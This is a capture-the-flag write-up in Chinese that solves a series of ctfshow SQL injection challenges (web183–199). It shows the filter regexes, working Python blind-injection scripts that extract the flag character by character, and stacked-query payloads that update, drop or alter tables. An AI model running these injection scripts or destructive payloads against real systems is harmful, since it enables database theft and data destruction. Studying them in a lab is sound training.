这里使用的 sql 语法是相似,泛匹配,也就是 pass like 'ctfshow{c%'

其中末尾的 c 是要替换的部分,而能替换上的,自然是: abcdefghijklmnopqrstuvwxyz0123456789-{}

通过BP爆破测试出flag的每个字符串也是可以的。

脚本爆破会受到一定的限制,这里给出一个脚本:

import requests
import time
url=input('please enter url:')
print("*--"*12+'*')

flagstr="ctfshow{qeryuipadgjklzxvbnm0123456789-}_"
flag=""
for i in range(0,34):
for x in flagstr:
data={
"tableName":"`ctfshow_user`where`pass`regexp(\"ctfshow{}\")".format(flag+x)
#"tableName":"`ctfshow_user`where`pass`like\'ctfshow{}%\'".format(flag+x)
}
response=requests.post(url,data=data)
#有并发数量限制的题目,就睡一段时间
time.sleep(0.3)
if response.text.find("$user_count = 1;")>0:
print("++++++++++++++++ {} is right".format(x))
flag+=x
break
else:
continue
print("ctfshow"+flag)


我是手工注入,挨个测flag的。

web184

原始信息

查询语句

//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";

返回逻辑

//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

查询结果

//返回用户表的记录总数
$user_count = 0;

解题

脚本

借用一个师傅的脚本:

# coding=utf-8
import requests

def str_to_hex(s):
f = ''.join([hex(ord(c)).replace('0x', '') for c in s])
print([f])
return f

url="http://114cd434-905e-470d-a948-11d977af6bad.challenge.ctf.show/select-waf.php"

flag="ctfshow{"
for i in range(0,100):
for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
exp = "ctfshow_user a inner join ctfshow_user b on b.pass like {}".format("0x"+str_to_hex(flag+j+"%"))
print(exp)
data={
'tableName':exp
}
r=requests.post(url=url,data=data).text
if "$user_count = 22;" in r:
flag+=j
print(flag)
if j=='}':
exit()
break

原理

原理是这样的:

原本的封禁当中禁用了空格,这里释放了一个对空格的过滤。,基础的sql语句组装是这样的:

select count(*) from ctfshow_user where pass like "ctfshow%"

但是出现了被禁用关键词的情况:where,",' 被禁用。

如果想要绕过这些禁用,使用like对十六进制参数的匹配替代 "ctfshow%" ,在使用内 mysqlinner join内连接 去替换掉 where

(不得不说这师傅对这SQL注入真的是太熟悉了,实在是佩服)

select count(*) from ctfshow_user a innrer join ctfshow_user b on b.pass like 0x63746673686f7725

a和b用来指代表名,而 inner join 是用来去除重复的,而后面的 on 正是指代条件用的。原本常见的是 a.pass=b.pass 但是 = 被禁用了,换成了 like

所以这个wp简单理解就是:

select count(*) from ctfshow_user a innrer join ctfshow_user b on b.pass like 0x63746673686f7725
# 相当于
select count(*) from ctfshow where pass like "ctfshow%"

变相解决

既然知道了注点在哪,那么就可以使用BP进行爆破。

BP爆破的解法:使用暴力破解+编码的形式一个个猜解。

总结

  1. maridb 数据库语法中的 group by xxx having xxx like 'ctfshow%' 可以代替 where xxx like 'ctfshow%' .
  2. 内连查询能逃避 where 被限制的情况:select * from table1 a inner join table2 b on a.pass like "ctfshow%"
  3. 十六进制字符 0x???????? 串能逃避 ' 和 " 被限制的情况。

web185

原始信息

查询语句

//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";

返回逻辑

//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}


查询结果

//返回用户表的记录总数
$user_count = 0;

解题

正则表达式比对:

'/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i'
'/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i'

多过滤了数字,无法使用十六进制进行绕过了。

这里看到了一个非常巧妙的无数字注入,也就是纯字母注入。

原本的payload的是这样的:

select count(*) from ctfshow_user group by pass having pass like 'ctfshow{%'

但是被限制了 数字单引号双引号 ,所以说这个条件得换一种形式。

这里使用了 布尔 获取数字和 concat 组合字符串。还有 char() 将数字转为字符。

换一种写法就是:

-- 假设你传入的是'ctfshow{%'
select count(*) from ctfshow_user group by pass having pass like concat(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true))

关键的部分解析如下:

#>concat 运用
select concat(true,true+true)
#>等价于
select concat(1,2)
#=得到的结果:12
-- 这样子是纯粹的数字拼接,如果是字符:
#>字符拼接
select concat('ctf','show')
#=得到的结果:ctfshow

下面是脚本:

# coding=utf-8
import requests,string

url = "http://3709ad73-f417-4045-91fd-58e4e526b640.challenge.ctf.show/select-waf.php"
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
data = {
'tableName':"ctfshow_user group by pass having pass like concat({})"
}

def stringToDef(string):
"""
字符串转换为函数包裹形式的机器
:param string:
:return:
"""
pdString = ""
for strs in string+"%":
numStrTrue = 'char('+'+'.join(['true' for i in range(ord(strs))])+')'
pdString+=numStrTrue
if strs != (string+"%")[-1]:
pdString+=","
return pdString

flag="ctfshow{"
for i in range(1,100):
for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
print(f"{i} \t {j}")
data={
'tableName':"ctfshow_user group by pass having pass like concat({})".format(stringToDef(flag+j))
}
r=requests.post(url=url,data=data,headers=header).text
if "$user_count = 1;" in r:
flag+=j
print(flag)
if j=='}':
exit()
break

web186

原始信息

查询语句

//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";

返回逻辑

//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

查询结果

//返回用户表的记录总数
$user_count = 0;

解题

和上面的正则表达式对比:

'/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i'
'/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i'

想比较,多过滤了:

%  <  >  ^ 

如果是之前改写的脚本(web185),还是没问题的。

web187–换模式-账密

原始信息

查询语句

//拼接sql语句查找指定ID用户
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";

返回逻辑

$username = $_POST['username'];
$password = md5($_POST['password'],true);

//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}

解题

username 被强制锁定在最高权限的 admin ,而 password 加密是:

199999@wife MINGW64 ~
$ php -r "echo md5('ffifdyop');"
276f722736c95d99e921722cf9ed621c
199999@wife MINGW64 ~
$ php -r "echo md5('ffifdyop',true);"
'or'6蒥欓!r,b

# md5不带true => 返回32个字符的组合
# md5带true => 返回二进制模式的字符串,能返回字符。

ffifdyop 类似于 md5 的万能密码。

所以payload为:

username=admin&password=ffifdyop

得到的结果就是flag。

web188

原始信息

查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";

返回逻辑

//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}

解题

首先必须明确一点:

select username,password from user where username=0 and password=0;
# 得到的结果是所有字母开头的用户名和密码
# 从mariadb和mysql测试出来的数据都是返回非数字开头的用户名和密码

# 这里,数据库比较数据的时候会将字符串转为0,如下:
MariaDB [kali]> select 1>'admin';
+-----------+
| 1>'admin' |
+-----------+
| 1 |
+-----------+
1 row in set, 1 warning (0.000 sec)

有了这个依据,试图传入数字0就是万能密码了。

且密码必须是整数,则使用如下payload即可。

POST: username=0&password=0	

web189

原始信息

查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";

返回逻辑

//用户名检测
if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

解题

对比正则表达式:

/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i
/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i

能通过过滤的单独ascii字符串:

!"#$%&'()+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~

此处借用了一下厉害师傅的脚本:


因为确定一定包含ctfshow这个内容,所以通过load_file的返回值“\u67e5\u8be2\u5931\u8d25”判断是否存在,写个payload

LOAD_FILE(file_name): 读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。

regexp: mysql中的正则表达式操作符

# coding=utf-8
import requests
url = "http://cee6bd64-356e-4265-990f-90399a46aba2.challenge.ctf.show/api/"
str = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag = "ctfshow{"
payload="if(load_file('/var/www/html/api/index.php')regexp('{0}'),1,0)"

for i in range(666):
print(' 开始盲注第{}位'.format(i))
for j in str:
data={
"username":payload.format(flag + j),
"password":0
}
res = requests.post(url,data)
if r"\u67e5\u8be2\u5931\u8d25" in res.text:
flag += j
print(flag)
break
if j=='}':
print(' flag is {}'.format(flag))
exit()

测试如下:

POST: username=if(load_file('/var/www/html/api/index.php')regexp('ctfshow{1'),1,0)&password=1
return: \u5bc6\u7801\u9519\u8bef #(密码错误的意思)

POST: username=if(load_file('/var/www/html/api/index.php')regexp('ctfshow{5'),1,0)&password=1
return: \u67e5\u8be2\u5931\u8d25 #(查询失败的意思)

在本地测试flag:

# 指定的用户目录下的文件无法读取,if返回0,打印所有的非数字开头的用户
MariaDB [kali]> select * from user where username=if(load_file('/home/xiaodi/flag.txt')regexp('ctfshow{'),1,0);
+----------+--------------------+
| username | password |
+----------+--------------------+
| admin | asdasdfadfasfasdf |
| user1 | safsdafsdfasfdsdfa |
+----------+--------------------+
2 rows in set, 2 warnings (0.000 sec)

# 读取具有一定权限的index.php文件,读取正确时if返回1,1无法匹配用户名,返回空
MariaDB [kali]> select * from user where username=if(load_file('/var/www/html/index.php')regexp('ctfshow{5'),1,0);
Empty set, 2 warnings (0.000 sec)

总结

正则表达式+load_file盲注。

load_file能读取index文件的内容,条件限制如下:

  1. 文件在服务器上
  2. 条件没有单双引号
  3. 被读取的文件拥有root权限

web190–(题目明写布尔盲注)

原始信息

查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";

返回逻辑

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪

解题

本以为是那种十分严格的过滤,瞄了几眼别人说这是“经典布尔盲注”并且看到一句sql才明白这是之前盲注时遇到的情况。没过滤各种字符,那就是说可以随便注。

下面是随便写的脚本:

# coding=utf-8
import requests

def getOrPostText(url,data):
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
}
text = (requests.post(url, data=data, headers=header)).text.encode('gbk').decode('unicode_escape')
if "密码错误" in text:
return 1
else:
return 0

def getUrl(url):

ReStr1 = [chr(i) for i in range(32,127)]
ReStr2 = '0123456789abcdefghijklmnopqrstuvwxyz{}-,_'
ReStr3 = '0123456789abcdefghijklmnopqrstuvwxyz_,-'

# ctfshow_web
sql1 = "admin'and(if(substring(database(),{},1)='{}',1,0))-- -"
# ctfshow_fl0g,ctfshow_user
sql2 = "admin'and(if(substring((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1)='{}',1,0))-- -"
# id,f1ag
sql3 = "admin'and(if(substring((select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_fl0g')),{},1)='{}',1,0))#"
# f1ag字段的内容
sql4 = "admin'and(if(substring((select(group_concat(f1ag))from(ctfshow_fl0g)),{},1)='{}',1,0))#"


flag2 = 'ctfshow_fl0g,ctfsho'
def miniFunction(sql,ReStr,start=1,end=50,getContent=''):
"""
直接获取目标内容
:param sql: 注入的sql语句
:param ReStr: 字符字典
:param start: 开始位置
:param end: 结束位置
:param getContent: 提示文本
:return: 没有返回,只有打印
"""
flag = ''
print('{:-^50}'.format(getContent))
for i in range(start, end):
t = 0
for j in ReStr:

data = {
"username": sql.format(i, j),
"password": 0
}
if getOrPostText(url, data) == 1:
flag += j
if j == "}":
t=len(ReStr)
print(flag)
break
t += 1
if t == len(ReStr):
print(f"You have found the content: {flag}")
break

miniFunction(sql1,ReStr3,getContent='get database')
miniFunction(sql2,ReStr3,getContent='get tables')
miniFunction(sql3,ReStr3,getContent='get columns')
miniFunction(sql4,ReStr2,getContent='get columns content')


if __name__ == '__main__':
url = "http://3ddc402d-adff-431f-a530-422d388bb901.challenge.ctf.show/api/"
getUrl(url)

之所以说是经典,是因为这个注入一没过滤注释,二没过滤关键字,三没过滤空格,全部流程按照基本的sql注入流程走几乎没有任何问题。

仔细看上面脚本即可。

下面是结果,仅供参考:

-------------------get database-------------------
c
ct
ctf
ctfs
ctfsh
ctfsho
ctfshow
ctfshow_
ctfshow_w
ctfshow_we
ctfshow_web
You have found the content: ctfshow_web
--------------------get tables--------------------
c
ct
ctf
ctfs
ctfsh
ctfsho
ctfshow
ctfshow_
ctfshow_f
ctfshow_fl
ctfshow_fl0
ctfshow_fl0g
ctfshow_fl0g,
ctfshow_fl0g,c
ctfshow_fl0g,ct
ctfshow_fl0g,ctf
ctfshow_fl0g,ctfs
ctfshow_fl0g,ctfsh
ctfshow_fl0g,ctfsho
ctfshow_fl0g,ctfshow
ctfshow_fl0g,ctfshow_
ctfshow_fl0g,ctfshow_u
ctfshow_fl0g,ctfshow_us
ctfshow_fl0g,ctfshow_use
ctfshow_fl0g,ctfshow_user
You have found the content: ctfshow_fl0g,ctfshow_user
-------------------get columns--------------------
i
id
id,
id,f
id,f1
id,f1a
id,f1ag
You have found the content: id,f1ag
---------------get columns content----------------
c
ct
ctf
ctfs
ctfsh
ctfsho
ctfshow
ctfshow{
ctfshow{d
ctfshow{df
ctfshow{dff
ctfshow{dff1
ctfshow{dff17
ctfshow{dff17b
ctfshow{dff17b3
ctfshow{dff17b38
ctfshow{dff17b38-
ctfshow{dff17b38-d
ctfshow{dff17b38-dd
ctfshow{dff17b38-dd8
ctfshow{dff17b38-dd81
ctfshow{dff17b38-dd81-
ctfshow{dff17b38-dd81-4
ctfshow{dff17b38-dd81-43
ctfshow{dff17b38-dd81-43f
ctfshow{dff17b38-dd81-43f6
ctfshow{dff17b38-dd81-43f6-
ctfshow{dff17b38-dd81-43f6-8
ctfshow{dff17b38-dd81-43f6-82
ctfshow{dff17b38-dd81-43f6-82a
ctfshow{dff17b38-dd81-43f6-82a8
ctfshow{dff17b38-dd81-43f6-82a8-
ctfshow{dff17b38-dd81-43f6-82a8-a
ctfshow{dff17b38-dd81-43f6-82a8-aa
ctfshow{dff17b38-dd81-43f6-82a8-aaa
ctfshow{dff17b38-dd81-43f6-82a8-aaa1
ctfshow{dff17b38-dd81-43f6-82a8-aaa1f
ctfshow{dff17b38-dd81-43f6-82a8-aaa1fc
ctfshow{dff17b38-dd81-43f6-82a8-aaa1fc6
ctfshow{dff17b38-dd81-43f6-82a8-aaa1fc65
ctfshow{dff17b38-dd81-43f6-82a8-aaa1fc65c
ctfshow{dff17b38-dd81-43f6-82a8-aaa1fc65cc
ctfshow{dff17b38-dd81-43f6-82a8-aaa1fc65ccf
ctfshow{dff17b38-dd81-43f6-82a8-aaa1fc65ccfc
ctfshow{dff17b38-dd81-43f6-82a8-aaa1fc65ccfc}
You have found the content: ctfshow{dff17b38-dd81-43f6-82a8-aaa1fc65ccfc}
------------ ctfshow web 190 ------------

web191

原始信息

查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";

返回逻辑

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

解题

和web190用相同的脚本即可。用户名过滤但是不影响上面的脚本。

web192

原始信息

查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";

返回逻辑

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

解题

照着web190的脚本跑即可。

web193

原始信息

查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";

返回逻辑

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

解题

这次过滤掉了截断函数了,需要找个替换掉

# 被过滤无法使用的:
select substr('awd'1,1) content;
select substring('awd'1,1) content;

# 没被过滤可以使用的:
select mid('awd'1,1) content;

所以修改下web190的脚本依旧能跑:

sql1 = "admin'and(if(mid(database(),{},1)='{}',1,0))#"
sql2 = "admin'and(if(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1)='{}',1,0))-- -"
sql3 = "admin'and(if(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_flxg')),{},1)='{}',1,0))#"
sql4 = "admin'and(if(mid((select(group_concat(f1ag))from(ctfshow_flxg)),{},1)='{}',1,0))#"

# miniFunction(sql1,ReStr3,getContent='get database')
# miniFunction(sql2,ReStr3,getContent='get tables')
# miniFunction(sql3,ReStr2,getContent='get column')
miniFunction(sql4,ReStr3,getContent='get column content',start=9,flag='ctfshow{')

web194

原始信息

查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";

返回逻辑

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

解题

没有过滤mid,继续使用上面的脚本。

web195–(明写堆叠注入)

原始信息

查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

解题

百闻不如一见,长见识了。使用堆叠注入修改密码,再登录账户得到flag。

payload如下:

POST: 0;update`ctfshow_user`set`pass`=0x31333134

输入账户密码登录即可获得flag:

用户名:0
密码:1314

收获

update可以用于堆叠注入修改指定用户的密码。

web196

原始信息

查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if(strlen($username)>16){
$ret['msg']='用户名不能超过16个字符';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

解题

方法1

不知道为什么,使用了select限制我们的输入,但还是能使用select输入……

具体使用select的原因是:

-- 使用sql注入的句子获取密码存入数组中,在下面的密码验证中进行比对。
select pass from ctfshow_user where username=1;select(0);
-- 这个时候,即便是第一个句子没办法得到结果的时候,使用第二个句子select(0)获取最终结果。

现在的payload如下:

用户名:1;select(0)
密码:0

登录后得到flag。

方法2

这个是官方的payload,意思是这样的:

使用之前泄露的密码 passwordAUTO 去登录即可:

username: 0
password: passwordAUTO

web197

原始信息

查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑

# web197
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

解题

方法1 卡bug式的取flag

对比下正则表达式:

/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i
/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i
/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i

看到第一个wp,卡官方bug了属于是:

username: 0;show tables
password: ctfshow_user

利用的是官方只有一个table的情况创造新登陆密码的。

而另外一个,则是:

1;alter table `ctfshow_user` change `pass` `feng` varchar(255); alter table `ctfshow_user` change `id` `pass` varchar(255)

更新字段 passpass , 更新 字段 idpass ,巧夺天工的操作了属于是……

方法2 默认泄露的账密登录

这个和上面的题目一样。

username: 0
password: passwordAUTO

方法3 删除表+创建表+插入数据

大致内容如下:在用户名处删除表,创建表,插入表。

0;drop table ctfshow_user;
create table ctfshow_user(`username` varchar(100),`pass` varchar(100));
insert ctfshow_user(`username`,`pass`)value(1,2)

那么对应的payload如下:

username: 0;drop table ctfshow_user;create table ctfshow_user(`username` varchar(100),`pass` varchar(100));insert ctfshow_user(`username`,`pass`)value(1,2)
password: 123

这是对应的第一次变更表,然后使用这样子进行登录:

username: 1
password: 2

web198

原始信息

查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

解题

方法1 非预期show和泄密账户登录

show的方式

username:0;show tables
password:ctfshow_user

泄密账户的方式

username:0
password:passwordAUTO

方法2 直接插入账密获取flag

上道题目有一种方法是忽略init直接插入数据,这个当然也是可以的。或者说,插入新的账户密码就能获取flag。

username: 0;insert ctfshow_user (`username`,`pass`)value(55,56)
password: 0
# 插入完成后使用这种方式进行登录
username: 55
password: 56

方法3 修改字段名

目的是交换下 usernamepass .

alter table ctfshow_user change `username` `pass2` varchar(100);
alter table ctfshow_user change `pass` `username` varchar(100);
alter table ctfshow_user change `pass2` `pass` varchar(100);

对应的payload如下:

username: 0;alter table ctfshow_user change `username` `pass2` varchar(100);alter table ctfshow_user change `pass` `username` varchar(100);alter table ctfshow_user change `pass2` `pass` varchar(100)
password: 0
# 实现username字段和pass字段互相交换后,可以利用已经泄露的用户名进行登录
# 注意,交换后用户名就是密码,密码就是用户名
username: 0
password: userAUTO # 这个是前期泄露的用户名

web199

原始信息

查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

解题

这次过滤了非常关键的 ( ,但是某些非预期的操作依然行得通。

方法1 非预期show和泄密账户登录

show的方式

username:0;show tables
password:ctfshow_user

泄密账户的方式

username:0
password:passwordAUTO

方法2 修改字段名

由于括号被限制了,使用数据类型 text 去代替原本的 varchar(100) ,绕过对括号的限制。

稍微修改上面payload即可:

username: 0;alter table ctfshow_user change `username` `pass2` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `pass2` `pass` text
password: 0
# 实现username字段和pass字段互相交换后,可以利用已经泄露的用户名进行登录
# 注意,交换后用户名就是密码,密码就是用户名
username: 0
password: userAUTO # 这个是前期泄露的用户名

总结

